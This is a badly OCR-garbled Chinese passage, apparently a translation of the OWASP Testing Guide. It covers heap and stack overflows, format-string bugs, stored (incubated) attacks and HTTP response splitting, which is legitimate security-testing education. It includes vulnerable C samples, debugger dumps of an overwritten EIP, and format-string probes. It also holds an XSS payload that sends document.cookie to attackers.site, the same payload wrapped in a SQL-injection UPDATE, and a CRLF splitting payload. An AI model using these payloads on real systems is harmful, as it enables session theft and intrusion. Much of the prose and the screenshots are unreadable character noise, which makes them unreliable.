URL RIS 7 BN BRICRTAT o FAF “PRAG 2Bk 3%, (FORARMERR B PrA  B IR (0 75 . [N, 3A7 AE
— LSRR B R AT AT RS AV AT “ A R TIRIEH N . TIANE “ 44 R
HHRR) AR I A UL R BB A K A 1224 B I o

BURR

Web N FIFEF MILANEAZAEA SEVFRATERAE R G AT I 32 R R oz AT sl A A A N S0 AT 45 1

= http://www.securityfocus.com/infocus/1709

=  OWASP WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
= OWASP WebGoat - http://www.owasp.org/index.php/Category:OWASP WebGoat Project

4.8.14 ZZ X i H A (OWASP-DV-014)

FH R 22 4205 )

- R K i pa

Z: W, OWASP L& 2 2% ' [X vi H Mot o

Z: W, OWASP 32 22 X vis H U ] «

] 38 G v DX i H IR

Z: ). OWASP JT A4t G — 3 v i i 4 02 o [X i H Js
B A % v DX H U AR

Z )L OWASP AR A4 3 SO SR XA Ly AR H ) L ) AR o
& R G X i Y ?

T D2 P X DT 50 T 22 P X3 il ) S 224 B

SR B % e Xk O TR 2
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ANTFIZE B R 2 b X ik L TR A AN TR ORI 7592 o 3 LR 8 RO U 5 32 ) 5 30 A 2 F 2 v DX T T 5

o JURACHE VR HY 59 R I IR PR RS DU
551 5 s IR R

o URE AL AT HR 8 e IR A AR

o M

4.8.14.1 HERS Y

KL

XA AT I 53 BEAT 7 N A7 Bl A HERE HA o A DL

Ir) AL 4 34

I

HE (Heap) J& N 1F a7y BLAY R R AL B AE BN A7BL . Heap A N A7 A th a) & PR 778 B
BRFRICLH

SSNEOR S

lll

TEHETHERDR P IX Bty IXEEhmid h OSEIME BACES o e B RERE IR o X, AP k1) o 5 4 3 8005
BB i USRI  Jr sKAT I %R SR VEBG A AETLR NAEth B s . Skbr b, Bod
HHEMUS BRERET RIE 2 A5 . GOT. . dtors B8 TEB 25 A% =0 URD i btk o

FEAERIZ A e Y D AR AAVHEM I OU AL, S BB B 2R N A B A M T TR A . 5
et PLAE, et S HH A7 /e o LAY R (KR A, DA A5 SR AR A7 A 22 MR 25 1A RE SR BLIX L4 T

SRR I 52 1]

M Y P 2R A DN S ) ) Rt — o SRR PRI 5 ST A AR LEAS TR ARORTBE R L B 7 A o AR AT
A, FEP AR AT SR, RERIEE AT 0L, F5 5 Hir s 5 SHE s 4 iy 25 MLIK),  (EAEMERR
FAF T AR HI > Widnows FEf@i, HEREH rTRELULAMAR[RIRIIZ A B f i W T R A8 HE A 2]
FEPAT G, KRBT ekt At T BRI 2 HE v IR O -
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OliyDbg - heap.exe - [CPU - main thread, module ntdll]
@ File View Debug Plugins Options Window Hel

S x| »1 1 ] =] M T|w[E]c]/]x[B]R]]s]

i DWORDT PTR DS [EAN] ,ECH
I DUORD PTR_DS: [ECH+31, ERit ATATL
LI BYTE PTR 55: [EBP-50], 0L 3 411
Uz4 ECE UORD TR 054 [EED]
"R, DIIORD PTR §%: [EBP-1C] LBFEC
E OWORD PTR DS:[EAR+ZE], ECH 13FEE
L OWORD_PTR LEBP-741,ES SE1F1
oy BVTE PIR DSIESLAE], PoBa1 1

7PFS2C08 ntdll.77FE2
ES 0@22 2Zbit @IFFFF]
C3 BaiB 32bit AIFFFF]
S5 @23 32hit AIFFFA
05 Ba22 22bit @IFFFEF

SUB Ed FS DOSE Zzbit 7FFOE
L BEFF oy £0t, o B9 988 T
G0| © EBCY cHE
DeESZiar| learss satsesas) M Soat L F7Fsaza D1l Lassbrc ERCIC IR
PPFEDDIS| | A0 BYTE ‘BTR Ba: tesI+ed. AL EFL 89886246 (MO, M, E, BE,
;;7?53%% r BBG6 87 B8 ? ETBETE E;E DS: [ESI+71,8 g¥? EWD'tzy "‘QEEREFSE?g?Egg
F! . o
ZrESSDIE Leorsd praseann) e nodll7reczres §T2 enpty FUNDRM 1165 77
FPFEZ027 L BFO4 85640890| JE ntdll.7PFE31ES ST Shbvy. TINOR @540 God
PrFSe0eD| | BB45 C4 110U EA, DUORD PTR 55: EBP 3re Dubeh oo
PPFEZDZR| . BOSGCE LER EOT,DUORD PTR D3t [ESI+ERK~B] ETE noty o8
Z7ESSDSS) L GSED SseRRER il GWGRD TR 5S:LEEP-DE] 377 cvpre B8
PPFESDES| e HoU SHTE PTR 0% FERTeEI-0L % ? s
E §2D3E . 56 3947 B2 MOL WORD PTR DS:[EOL+2], AKX - FST 0880 Cond 8@ 8 8 0 E

FCll 827F P x MEFR,.53
Beitdiaiaialss e
Jumps From PPFSSSCE FYFSE311

Address |Hen durg BECIT
BE4Z1A0E] A0 65 BE A6 A0 66 ]

G94216A3| A8 A8 BA 08 AG o
BE421010| 00 06 GG BB aa
Ga4z21a12 BB gg 3 G

TETEFFEg| 5]
C8| HA12FECC L
TFFOFoAEE
BOIEE1TE

Aa1 2F0a|
4l
TPFELEFS| RETURN to ntdll.7PFELEFE from ntdll.7FF2ICEE

| G

=
=
@

TEDoEE Do
E DS &S
DoooDooo

BR421670| 4@ B8 A A8 AG O
8A421675| AG A6 A8 A8 AA_ .

<
=
=
i
i
o
=
2
=
@
<

Acoess violation when witing to [414141 411 - use ShiftsF7/F8/F9 to pass excention to piogram | [Paused

FEBRIIPIA A EAX R ECX, W LUHSRG A ROk, IS bl f T b s 0 Al )7
Jorp—AN bbb a] DU F 202 S R HRER, Bl UEF CRAAFESRH I sEss) 34—k o et i
FEPAT AR B L

MPAT LT s MOV Fi5 I, SRR AR, AR BOR HTI R AT P S AU . B2 mirdR B, e
R X AL IR (4 75 V5 AR I TR e — BRSO AT I 1) TR, IR AN S MBI A, A A ORI b B B
Ao

K R

FER AR N, FRATT AR B MR IR IR AT IR Z A BB AL 2 4 ) AR AR L P A A I
W RERAAEIRIIN . B T ZIRAEZFIES, TAOTR UL B K R . ERZEHNEOLT, 22 MBINT
strepy ()AL AR I IT A N HEGE I DR 2 42 1o AT A i AT 15 2 4R B AT AR A g o —
Jiike TN HHUE IR W] G R A ARS S0 -

Eﬂ

int main(int argc, char *argv(])

vulnerable(argv[1]);
return 0;

int vulnerable(char *buf)

{
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HANDLE hp = HeapCreate(0, 0, 0);
HLOCAL chunk = HeapAlloc(hp, 0, 260);

strepy(chunk, buf);  Vulnerability" U™

return O;

}

FEXFEOL T, WREEPDGE 260 71T, BB AN FARICITREE . — B EGIREAT, ERe T
4 AT R AT R A A

BT i, R SOREE R, BT ANF AR XA o RO ORISR P X SRR
Biln, FEALERIFAMACHLEL, KA Clam Anti Virus 0.86.1 5 4 41 57 AL P TNEF SCAESEALACRY 1K) — 385, PO tnef.c
FIRA L tnef_message( ):

"

Vulnerability"Ustring = cli_malloc(length + 1); "
Vulnerability"'Uif(fread(string, 1, length, fp) = length) {"
free(string);

return -1;

}

4T malloc ZE TEMKEMIRNAE, XIELF2—A 32 P48, fEIX ki b, K H ) arsr, mr
PUE = TNEF BB E R -1 o XK S 2 malloc(0). 1X4> malloc T F 43— /NEHEZE pR X, £F 32 AT
f FIXMN %2 16 7T (W malloch)

ES AT, W fread() i A4 THER H o« fEIXANEBIR, B A EIFEAR size_t B, HE, WRXE 1", X
NS BN AR N OXFFFFFFFF , M & | OXFFFFFFFF AN E5 3 16 A I IX &

FR RS 20 B T R GE W] LS B 3R HERR G199 25, I BRI 4 . S M FER T E, i RATS, Flawfinder £
ITS4 o] 41 C 1B 5.

5%

=

H B

= w0O0wO0O0: "Heap Overflow Tutorial" - http://www.w00w00.org/files/articles/heaptut.txt

= David Litchfield: "Windows Heap Overflows" - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-

win-04-litchfield.ppt

= Alex wheeler: "Clam Anti-Virus Multiple remote buffer overflows" - http://www.remOte.com/public/images/clamav.pdf
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€

TR

=  OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de

= Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing -

http://www.immunitysec.com/downloads/SPIKE2.9.tgz

= Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net

= Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework

= Stack [Varun Uppal (varunuppal81@gmail.com)]

4.8.14.2 ¥

| s
(A, TRATHE— RS ORI, AT A A A B

| b

2 S TR RN B BT T RE P AR O 8 K I G A7 DO LB AEADB A A, st A A e XA GO
I AT R g™ A, RO M IR TR AR AT BE SR VP AT AR A BB 8 I 55 . AEMRNTF- & AV I, e C
B AR 5 g S AR ol S R 2 XA . N OWASP 45 R 2.0 ZEh X ik tH 50 vh i s F

“BR T REILAMEISE, LR AT B A AR R

J2EE P 5 —— H EERAT A SR R 5 BRG]

NET— HERA A 2 s AR EAUS B A SR Cnfli i P/invoke B COM Interop )

PHP— LB T AN RRE > il YA € B G+ 5 A7 AR 1Y) PHP 37 JERR

Rt I A BAR R AP AL, RO S VAR AT R A se 5 4R BT, FR RS T B AT

WREMT o WERATRESIRERIE, MBEBCERAT W, AIMPATHEREAUND . B T B i fee, M Em I eE
ANGEHE IR ] LR AU E 2R e T He B ) S5 8 AL PR o

SRR 52 1]

SIS R e B Rt s ] A S B R 4R A1 P SR A B AR R R S AN . 28T, AN R P 8 AR R e
VIRANE 785y o A7 6 A BN FHRE P BT FUREM SN, DU 8 A2 15 SCRI A T 2ERPRRE . DR R D06 TE A i
(7 i K A s N 23 H AR N R P sl bR, 0PN I RE P AE T S AN TN, R i 38 o A s L S
I o YIRS A M A 12 I I L PR T R AN 7 A7 i RS 1 T R

I3 I SR A I T 3R A P S g A A D N IR (K 2 ARG o A IR OL T, AEAF AR TR (0 2 16
Berh i M N A . IR W AR S TRE, e MBI R
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B, AT AT “sample.exe” IRARRE IR, W DM R 015 -

#include<stdio.h>

int main(int argc, char *argv[])
{

char buff[20];

printf("copying into buffer");
strcpy(buff,argv[1]);

return O;

}
F FH— A 28 ——(F1X L2 OllyDbg—— /3 3} 31 sample.exe

o |Begisters (FPUI

Lookin: [ 53 ve -« BmekE-

|@ bin
|Syincluds
(=1

|25 samples
[ sample.exe

B Visual C++ Toolkit 2003 Command Prompt

Flename:  [sample.ere Open |
- Cancel

Files of type: | Executable fie (%ex

SR

Address [Hen dump SCIT

R N R i SATS 4L, BrUAE R s T S H PRI/ — ARSI, BilanA’,
PR REEAT S ECATIF I AT IO, JRARELIIAT, K13 20 M iigiR.
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Regizters (FFU) <
ERE BHEAGEEE
ECH B8326FE4
ED: @Ed14141
EEX FFFODBEG
ESP BB12FEEC ASCII ""RARARARRARARARARAAAAAF
EEF 41414141
ES] BEEEEAZE
EDI Q8080860

IF 41414141

ES B823 32bit @(FFFFFFFF)
CS BA1E 22bit B(FFFFFFFF)
£5 BB22 I2bit W(FFFFFFFF)
DS 8823 32bit BLFFFFFFFF)
FS BB3E 32bit FFFOFEGE(FFF)
T8 G5 8008 MULL

0 8 LastErr ERROR_SUCCESS (BHE0EHEG)
EFL @8&i8246 (HO.ME,E,BE,HS,PE,GE.LE]

ST empty —UMORM BOEC B1E5E164 BEZEREST
571 empty B.8
S5T2 enpty B.8
5T3 empty 8.8
ST4 empty B.8
ST erpty ©.8
STE erpty B.8
STP empty 8.8
2218 Euspedd. 0
FST GB38 Cond @B B @ A Erp B 8003
FCWl B27F Prec HEAR,53 HMask s HR i

mraomo
D ) e

o

-
=

AR AR TSRS O ER, EIP (FRIESIERE) BRTREHMS —1N 54, 8F 414141411H, AUV —TH
‘N H)— A SHER F R IE T B AR AAAA KRN, 41414141,

RO Tt B T AT AR AT SR O B A A USSR AR E AR IR AT Bl rTRE T RS
SHE (4R 5 W Ab B 252 TR RO S, UE PRI AT A Seid St fRy HLAb]

bk, HE R R IR (7 A LA S 2k i IR0 TR P — 1E R St S 1) TR A IS HIBOHIEOR .

R e 5 451

2 A ks ARSI, FRATE VU RITA AN LR ER B, W gets(), strepy (), strcat (), ABATANIRETE T
5 e B b Bt 5 H A A2 2 RSF e X

4L PR

void log_create(int severity, char *inpt) {
char b[1024];

if (severity == 1)

{

strcat(b,”Error occured on”);
strcat(b,":");

strcat(b,inpt);

FILE *fd = fopen ("logfile.log", "a");
fprintf(fd, "%s", b);
fclose(fd);
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EEREFF, WF inpt BH 1024 HFT, streat (b,  inpt) AT S BAESH, XAER T streat A %4 A,
[R) A9 e 7R TR A RS BUE 1 A8 s 2R B K B E T, 1 AN ZEHIH, NZ char
*inpt ST R INKE . FUILEREE AR, BlRESEERME I e PR KR — M ER,

FEFHFRRT 22 4210 strnepy () PTREL 2 T BAEH, K e RHIZY &6 2] B R X715, AR T 588K strnepy ()
AR I Z RO R T 1 S AN BAE A A el ARS B TSI A 761N, T8 LA ] g th BeZ b X, Bilan -

Void func(char *source)

{
Char dest[40];

size=strlen(source)+1

strncpy(dest,source,size)

}

FRE R P AT R IR0 %S, samba trans2open #& i H 85 st 42 — MR A B8] -
(http://www.securityfocus.com/archive/1/317615),

Il AT REHL HEL T URL P ik Alr (G b, AEIXRIEUL T, memcepy() 45 B8 £I0E 5 T T AR S £ 21 H Fr 22 b
DX, RIS RILAEA R E R R, 0T R AL

Void func(char *path)

{
char servaddr[40];

memccpy(servaddr,path,'\');

}

FERXAN GG, BRSO\ Z AT BAE ST 40 A7, WRUE XA DURE ™ A Mt . 7 Windows
RPCSS 1~ R 4E(MS03-026) ' [RIAEAF-AEAHL I ] o FiE55 B AR BERE UNC B AR \ " i 1 5% i A4 B S A 81 o] g R~
M. FERXAD R, ARk 55ad FRADKEE i - #2e

PR Lo SR IS 2 4h, RSSO0 T B TR R KI/ER . BRI T AT B4 7= AR 2 R 3 HANAU R
BN, AE AT TR S T LS Bhi /D - 315 strepy() A sprintf ()X AEE T il 15 (IR A . 04T C FE TR
HHTHIEZ, W RATS, Flawfinder, F1TS4.

7

7

HEH

= Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server -

http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
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= Aleph One: "Smashing the Stack for Fun and Profit" - http://www.phrack.org/phrack/49/P49-14

=  Tal Zeltzer: "Basic stack overflow exploitation on Win32" -

http://www.securityforest.com/wiki/index.php/Exploit: Stack Overflows - Basic stack overflow exploiting on win32

=  Tal Zeltzer"Exploiting Default SEH to increase Exploit Stability" -

http://www.securityforest.com/wiki/index.php/Exploit: _Stack _Overflows - Exploiting_default_seh_to_increase_stability

=  The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615

= Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html

=  OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de

= Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing -

http://www.immunitysec.com/downloads/SPIKE2.9.tgz

=  Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/

=  Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/

4.8.14.3 KA FATTH

|k
Bl TR T 5 S 7 6 B AR B AL e s, AR AT A S

(KIZELE C i 5 BT T ARG IEIH A ks S P AP R IS AL, 14N printf (),

|

AN C il pR B R RS 3, A printf( ), fprintf( )55

K A T IX S8 R B S HEE I, B O AR UL AT, 140 %s, %c 55
A HIAN e 4B S B LA P 43 0 et 1 P XA e S st 2B Ui

—AMEIPI T printf(argvl]) o FEIXFIELLF, SALUEMIREIFRBIBNE ], So Ve AR R i Ay 4
1T S HL argvl114 8%, %n, %x 55T 1F

% L& BIPR AR AAL BT I BEAT LA BB A T3, IR BUAEATE A ANl [R5

MBS BER AR : %I Fo VX Tl I 3R 9ex m9%6p S5 AL 74 Hh BB A AR IR I I HERR AR ALZY, 7T e S EGHR
BURAE R NIRRT B HER CR AL R, el U TR I E R B . S5 SR MRS Y, X284
AR GE L HER AR

BHIPATR: TR RSN MBGEEE RO 4 AT EE, e R A B A RAUHE AT . %n L

RE AT AR 5 T AR A A7t A5 R e g, BN EA RS Rtk . 21X Sl TS 1) R BAR AT B AN, R AT
A
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http://www.phrack.org/phrack/49/P49-14
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability
http://www.securityfocus.com/archive/1/317615
http://www.xfocus.org/documents/200307/2.html
http://www.ollydbg.de
http://www.immunitysec.com/downloads/SPIKE2.9.tgz
http://bfbtester.sourceforge.net/
http://www.metasploit.com/projects/Framework/
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TELERS: RS A RESR AUE SR HATING  JEREAE %x 281 5 NN Yon K-S B0 HIRE P 105t o

B N S A

RS AL A5 £ Y VIR 1 S 70 0 FH R e R i N A B A s A 2R 0 I 75

B, — /NN HFEPALEE URL “E4F 5 http://xyzhost.com/htmli/en/index.htm, BRFEESZ S FPR L AHIN . W A% 1k
FRFERIRIAAAAE TN EIX—F B f e, 4L http://xyzhost.com/htmli/en/index.htm%n%n%n (1] ¥4k,

HHE AR — DR TB P A %N, LB FTRES BN IR 5, JFAESTAE SO i QI — MO e il SC
G

A% A AT H R BRI IR T o/CH+ AU I TR B C 15 S 41 5 1) CGI IR Web 254+ N ik 55 2 5L
Web NHIRES? . FERZHUHIL T, KA 2 syslog() S5 MFE AT BRI T slic sk H 2 1 e £

AN CGI BIA IR AL P AF ER i I W] AR AN S B N %x 550960 RILBEWI T o Bl BRI SR AT«

http://hostname/cgi-bin/query.cgi?name=john&code=45765

T DA e

http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%Xx.%x

U IR A FRF R IR A AE T AR B — BRI R, 8 LRI S0oHs e 85 700 Y88 rh DL HE AR A o
YR BATPRARKD,  Gif B A AR R TR S AR KA A A R R A R
wlhn, LA (2):

int main(int argc, char **argv)

{
printf("The string entered is\n");

printf(“%s”,argv[1]);
return O;

}

when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly

visible before a call to printf is made.

24481 1IDA Pro X g P i ARG REAT o I, M B A% SR B U AT sk 2 ) printf 22 B3 i Al AL o
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http://xyzhost.com/html/en/index.htm
http://xyzhost.com/html/en/index.htm%25n%25n%25n

JiAh, R BURKSAME I “%s” 1E 0 250 s, L4045 R R, 0 FFrR, 2] printf ZATBCH

offset JE AFLH o

B DA View-A

L arg_h

RN T A R

= dword ptr OCh

push ebp

mou ebp, esp

sub esp, 4bh

push ebx

push esi

push edi

lea edi, [ebp+var_40]
moy ecx, 16h

moy eax, GCCCCCCCCh
rep stosd

push offset ?7 CE_BBHEHGKHEThe?Sstring?Sentered?5is?67$ARR ; “Th
call

B IDA View-A =13
text:004081610 arg 4 = duword ptr 6Ch ~
L text:0040810108 =
* text:004081010 push ebp
* text:00401011 mov ebp, esp
* text:00401013 sub esp, 40h
* text:00401016 push ebx
* text:00401017 push esi
* text:00401018 push edi
* text:00401019 lea edi, [ebp+uar_ug]
* text:0640101C mov ecx, 16h
* text:a64810821 mov eax, BCCCCCCCCh
° text: 06481026 rep stosd
* text: 06401028 push offset 7?7_C@_BBHEHGKH@The?Sstring?Sentered?Si
° text:@B48182D call printf
* text:88481032 add esp, 4
* text:08481035 mov eax, [ebp+arg 4]
* text:08401038 mov ecx, [eax+4]
* text:008401083B push BCx
* text:064010A call prin
“C@_B20ILLE?SCFS7$ARE db  25h ; % : DATA XREF: main+2cTo
;/ _heap_alloc_dbg+BCTo ...
——

© 77_CE_OBHEHEKHEThe?5string?Sentered?5is?6?$AAR db ‘The string entered is®,8Ah,8

; DATA XREF: main+18To

printf

eax, [ebp+arg-
ecx, [eax+i]
ecx
printf

eax, eax
edi
esi

~ |4

R e ) 5 451

BEATACRS i A, A i A A 2 B TR L Al DU I 2 AT (A% AL 7 45 H e IR o
ITS4 [k, e Al A T TR
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& C:AWINDOWS\System32\cmd.exe =
-]

(C:nits4rits4.exe format_demo.c
format_demo.c:13:{Urgent> printf
format_demo.c:14:{Urgent?> printf

Mon—constant format strings can often he attacked.
Use a constant format string.

SRRy MR IONESE-4 e (s WY v S TSR (RS I B Y1 T2 G S s = NG - ¢ AW P Y e e Y

Printf
Fprintf
Sprintf
Snprintf
Vfprintf
Vprintf
Vsprintf
Vsnprintf

AR LR BUER E TR & B . — BT RS HUTE, i NZ e B s 775 B sk Z I 20

N

=  Tim Newsham: "A paper on format string attacks" - http://comsec.theclerk.com/CISSP/FormatString.pdf

=  Team Teso: "Exploiting Format String Vulnerabilities" - http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html

= Analysis of format string bugs - http://julianor.tripod.com/format-bug-analysis.pdf

= Format functions manual page - http://www.die.net/doc/linux/man/man3/fprintf.3.html

= |TS4: "A static code analysis tool for identifying format string vulnerabilities using source code" - http://www.cigital.com/its4

=  Adisassembler for analyzing format bugs in assembly - http://www.datarescue.com/idabase

= An exploit string builder for format bugs - http://seclists.org/lists/pen-test/2001/Aug/0014.htm

4.8.15 AR A JW I AN (OWASP-DV-015)

HI TR R A, WA — AT 2B S bR I AR 2%t (AT T, FATHR T —R51%
ARAG I AR


http://comsec.theclerk.com/CISSP/FormatString.pdf
http://www.cs.ucsb.edu/%7Ejzhou/security/formats-teso.html
http://julianor.tripod.com/format-bug-analysis.pdf
http://www.die.net/doc/linux/man/man3/fprintf.3.html
http://www.cigital.com/its4
http://www.datarescue.com/idabase
http://seclists.org/lists/pen-test/2001/Aug/0014.html

€

o HEMHBANTFEE M, FHEGAAEER A . BT LIS 50 UE B0 e RE A R N R
gt, P B H] & BUE ROl R A B AR, A S B, .

o MU - HIUGREEAHHOEA] ¢, E IR IAT . B, FEORIK XSS Kok B gt KAIE,  IXREA
REARG BNAS 42 ST A T R A 3 25 2 7 o

BEEFHFIH] web N IR 7 (i s D) BEVERFAE A RERE N — 268508l JFAESLS th— S8BT A BT e R4 ESRA,
K s — L8l

FEB R, RS a] DU TP Al R L I I SR A B A DL 2 4 e JBUR A 7 — AN T2 i PR 2B
oy, JH T RN S KR 32 3 CAnEAE R S Rl BT D

AR L B el RS e ey, Hob Ay

o Web WP RSO BARAME: ST RN AR SO (R CVE-2004-0200 ) JPG % FIH
CVE-2004-0597 1] png % . v HATSCAES AL &1 BRALPE 13k i 0 5645 )

o FENICIRIRME T A B RS RA ) (2 L XSS G RO IIAR) BB T LLAE web R FA i 9 A7
PRI AEAP A AR B ACRS (Bl tn, K ), PSS — AN BERAT I — A /AR (L L B 5 5%
) MR RIET AL, FER BRI A R A TS o s BAAR RS T LA IR IR £ Y DO N 4
JavaScript £, FFAE R B30 A BT AT ——FI % CAEAEIRTRIR D il (A B 2 P i)
JEUAR IR AR 2

e SQL/XPATH {EA: ARWHBE#H LN EBIBHE . 1XL Py 245 B 5 15 4 P T35 8 N 21— 5B 5 A3 2
Blan, R BEE AT DUAE A 25 B2 K AT 2 o AT AT & JavaScript, 24 JavaScript #2H FHAT IS, gt v e
B P R s (. xss AREE).

o [ E A RIKI ARG 2% SO 22 2E Java G AL M v 2H A (5141 Tomcat. B% Web FLE IS 14 Plesk.

CPanel. Helm %§).

e e Sz 41
a. Uik AR

BH SCVF EAL S wel N HIFE (KA R ABURI B A (K _EARSOIR URL. AEHT P B BT B A ] ) T ARt b A%
(KIS AE LA AN LA

RIRG 52 FHA BT I BT, DIl /e SR 5
TSGR, 24 B4 R M s R B AT S AR AR S IR ST, Sl A % i -

b. A& XSS 4]
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LAEH] Javascript IR AAAETRT 7 BL% B0fE,  fian

<script>document.write('<img src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script>

248 5 H SR DTS SR R E . T attackers.site (B k5D EHL g “ivras” SRRV T 1k
NS

3. Y H P RAEAEIR IR I R DT, A5 P cookie FIER (BA_ER A document . cookie 1FE 41K URL [
) W RIER attackers.site (BLitizg . ukis) T, FLLTANE :

- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1

4RI cookie EAFAEINIA MM M LS 8.
c. sQL ¥ E A 24

WHAHLT, W2 AR sQuUit NIRRT R AT S 1556 24 H AR 2 A7 7E sSQUIE AR . X
FE5 4.2 75 SQUIE AN CAHiAR . B> sQUIEAITIRHEAE L MRAII I Z IR Bt /5B fevr
IBATIH A . R JFIB B L AU A BT BE TR XSS Bk VL RE 2 SR VAR A -

1. fERZ R XSS By X, 5552 saL N web LI 7 Bt iR A0 22 R {E . 3 F RS ] A %
EAE A B ANAEBAT 200 38 2 SR o AE Wt b XAl REAE A sQL i ANFIES i A B i 45D o ildn, (R
—A footer B e AL T F A IR 10 AR LR, EL e S IR RS I UG IRV AN notice B o AT LA
TP E W JavaScript AARLEAN B a4 footer K H 1 notice F-E A H o

SELECT field1, field2, field3
FROM table_x
WHERE field2 = 'x';
UPDATE footer
SET notice = 'Copyright 1999-2030%20
<script>document.write(\'<img src="http://attackers.site/cv.jpg?\'+document.cookie+\'">\')</script>'
WHERE notice = 'Copyright 1999-2030';

2I0TE, AN NG ) P ERS M T A 2B Cookie Bl attackers.site (Mah#H .uhE) (BB b.2
£b.4 )

d. AR e B A R

HLE web IRS5AR s — NME LR, RIRESVFBGH A AR TR SR TR s 4L AR R, 38— 6 Apache
Tomcat %55, BB A 7 0 EIER Vi ) web W R P LA (B0 W R iBIE WA feid il e T B
19308 A RED o FEXPMESL N B AR WAR SO, RIS Rl 25 i E — AN BTN web NHFRF . IXAMNAL

293



€

BB E AN S5 A A PAT AL PR, [ I AR 52 A5 AR Ik AN T I st 33l A ) PR R (e
AT T RE A2 ER VT 1) FL e AR AT S RS AR DD -

AR, ATATA] LAAE ML A 1R 4 ik o 4 15 81 webroot 5 (KA MR o 1 i ok 3k Fofr s I 76 IR 45 8- ) 0 Py 2%
HIRE IR G T1E web JIR g5 a5 W BRI A A AR (SEBr b, IR — N A28 web JIR 5% B G i L&
FAR KL .

R s D) Sz 451
G R BAR S SE TR AT

o B ARERIEEIE MR RN I REHA R A2, TR 95
WE, [N TR IR | 1 A ©

o N TR SR BGR I “JETT7 TR, 25U i A A A B ) B A ) i s TG, X
AT

o SN B EH:

http://www.owasp.org/index.php/Data_Validation %28Code Review%29#Data validation strategy

5%
KEHH I AR B % RA B, M SRR, MM xss 5 sor WEATLHM, SHITH kK,
N

= CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - http://www.cert.org/advisories/CA-
2000-02.html

Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/full-
disclosure/2006-July/048059.html

H B

= Web Application Security Consortium "Threat Classification, Cross-site scripting" -

http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml

= Amit Klein (Sanctum) "Cross-site Scripting Explained" - http://www.sanctuminc.com/pdf/WhitePaper CSS Explained.pdf

= XSS-proxy - http://sourceforge.net/projects/xss-proxy

= Paros - http://www.parosproxy.org/index.shtml

= Burp Suite - http://portswigger.net/suite/

= Metasploit - http://www.metasploit.com/
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http://www.owasp.org/index.php/Data_Validation_%28Code_Review%29
http://www.cert.org/advisories/CA-2000-02.html
http://www.cert.org/advisories/CA-2000-02.html
http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html
http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html
http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml
http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf
http://sourceforge.net/projects/xss-proxy
http://www.parosproxy.org/index.shtml
http://portswigger.net/suite/
http://www.metasploit.com/
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4.8.16 HTTP SPLITTING/SMUGGLING i, (OWASP-DV-016)

| ik

TEIX — B Bl PRAELE A welo N AR Fe (K1 T SOAN AR AT HTTP {5 S AFZRIE, FUZSHIH BT TR PRIURFE D)
REM Bt

i) LA i

MR FIER X6 2 1) HTTP Header [FXCit; © HTTP Splitting (#543) Fl HTTPSmuggling (firiz) . 5 —Fp ¥ 2
T2 MRS, RVFAREN CR FLF FAF A SIS L R Sk, BBl “Hwsy” BOm A~ AN TR ) HTTP 3
B BEt i H bR a] BE M BL S A7 Hth 285 i AR AN . 7E28 R dehirh, BGEE R T SRR E S HTTP R
A2 B BT B B A R A ACBE LAAS R 7 Vg A AR IX AN S5 . HTTPSmuggling 223K ALEE HTTP 15 B BIA R AR
H(Web 4545 ARHEN, Bl KB A AH SR BE I, DRIARAE AR S AR 73 A 7 XA Bt

SR S 41
HTTP Splitting

8 Web NIRRT AN (0 B 00 A N AR SR AR R R R AR D SR A AR AT PR SR AE
) (1 HFR URLe 0, SR BRI — MR iR R s 2210 web 45 110 100 7 AR FEREAT O 2 80tk id I F T
K i AR AH DG WA TR A ) o SRR G, I RAZ S HC R R R I8 K IR R A T T A

N e

HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced

<ship>

ACRIAE R, T RAERE & TR 2Rk Location BT A UM, (U, W RN IR BOA R DE N o, it el
PIFE “307 ZHCP AT 51%0d%0a, %7 SR HDRIATK CRLF P81l 7R3 — i b, AR BEM Ml A AN
I, A AT AT 120 S ) N S 2 o AR F A P RS [RImR 2o A8 R AT IR R 7 Z [ 1) web 2847 . Baki# ml LA
HINIX— RELXA web 2877, LMERELEZ S T A P AIE KPS R R A 2. Bt 7EZ BRI, B@ a1
SUINTTRA G (PNEARE S

advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aContent-
Type:%20text/htm|%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>
The resulting answer from the vulnerable application will therefore be the following:

HTTP/1.1 302 Moved Temporarily
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Date: Sun, 03 Dec 2005 16:22:19 GMT
